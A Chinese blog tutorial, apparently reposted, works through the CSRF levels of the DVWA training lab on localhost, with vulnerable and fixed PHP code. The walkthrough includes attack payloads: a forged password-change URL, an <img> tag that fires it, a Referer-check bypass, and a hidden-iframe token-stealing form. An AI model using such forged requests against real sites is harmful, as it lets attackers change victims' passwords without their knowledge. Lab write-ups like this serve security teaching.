DVWA之CSRF漏洞

CSFR漏洞

CSRF简介

CSRF全名是Cross Site Request Forgery,翻译成中文就是跨站点请求伪造。其通过利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。

漏洞原理

因为Web应用程序在用户进行敏感操作时,如修改账户密码、添加账户、转账等操作时,没有进行如检验表单Token、http请求头中的referer值等防御措施,从而导致恶意攻击者利用被攻击者的身份完成敏感操作。

CSRF攻击流程

攻击者发现CSRF漏洞——构造恶意代码——发送给受害人——受害人打开——受害人执行代码——完成攻击

本章利用工具:Firefox、Firefox的hackbar插件

Low级别

  • 登录DVWA平台选择Low级别和CSRF模块,页面上是一个很平常的密码修改页面,并且只要求输入新密码即可并未验证原密码。那么我们就先用正常用户的方式进行修改密码,比如这里我将密码改为123。

这里我们看见下面显示的Password Changed表示密码修改成功,同时我们通过HackBar分析此时的URL,发现在这段URL中我们输入的参数都包涵在了URL中,那么我们就猜想是不是可以直接通过修改URL的参数即可修改密码呢,然后我们就构造一个新的URL:

http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/

?password_new=12345
&password_conf=12345
&Change=Change#

并在该浏览器的一个新的界面打开这个URL,我们发现密码同样被修改了。

这里我们就实现了一次CSRF漏洞攻击,当然这里我们构造的URL就太明显了,因此我们可以将其包装一下。比如这里我们写一个CSRF.php文件,里面内容可以简单一点类似:

<img src="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"/>

然后我们将其放在PhpStudy的WWW目录下,接着我们在同一个浏览器打开127.0.0.1/CSRF.html,这时显示的是这样一个图像

但是我们重新登陆DVWA时,发现实际上密码已经被修改了。

接下来我们看一下Low级别的代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

?> 

这里仅仅对两次输入的密码是否相同进行了判断,没有做任何的防御。因此我们只需要用户在cookie还有效的时间内在相同的浏览器访问我们给定的url,即可实现攻击。

Medium级别

我们先把密码修改回之前的密码password,然后再在浏览器打开之前我们构造的网站:127.0.0.1/CSRF.html,然后重新登陆DVWA发现密码被修改成了123456,很显然我们攻击成功了。我们在来看一下Medium级别的代码分析一下,相比于Low级别哪里得到了提升。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}

?> 

我们发现这里用了eregi()函数对HTTP的referer进行了一个判断,由于我们构造的网站就是在本机上所以其Referer中就包含了DVWA平台的主机号,那如果是在另外的地方搭建的网站,我们也可以进行绕过,比如我们可以将构造的文件的名字更改为对方主机名即可,比如X.X.X.X.html

High级别

我们同样以正常用户的操作先进行一遍操作,发现密码修改后,URL中新增了一个参数即user_token参数。

http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=524e84e82627aa7e7e9693a17a5f97c0#

因此我们需要想办法获取页面的token值,于是我们构造下列代码:

<html>
<head>
<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit(); 

  }

</script>



<iframe src="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/" id="hack" border="0" style="display:none;">

</iframe>



<body οnlοad="attack()">

  <form method="GET" id="transfer" action="http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
</head>
</html>

脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。不过此处涉及到跨域的问题,现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://127.0.0.1/DVWA-1.9/vulnerabilities/csrf/,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

因此我们通常要想方法将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。所以一般要结合XSS漏洞进行攻击,具体在后面的XSS篇章讲解。

Impossible级别

打开Impossible级别我们就发现这里多了一个输入当前密码的输入框,这样就可以确定进行当前操作的是用户本人,但是这样确是以牺牲一定的用户体验换来的安全保障。

同样我们看一下Impossible级别的代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

这里不仅使用了Anti-CSRF token检验来杜绝一定上的CSRF漏洞的利用,还要求输入当前密码来确定执行此操作的是否为用户本人,并且对当前密码进行了SQL注入的防御。基本杜绝了恶意用户的攻击。

发布了25 篇原创文章 · 获赞 24 · 访问量 7936

猜你喜欢

转载自blog.csdn.net/qq_40023447/article/details/81083617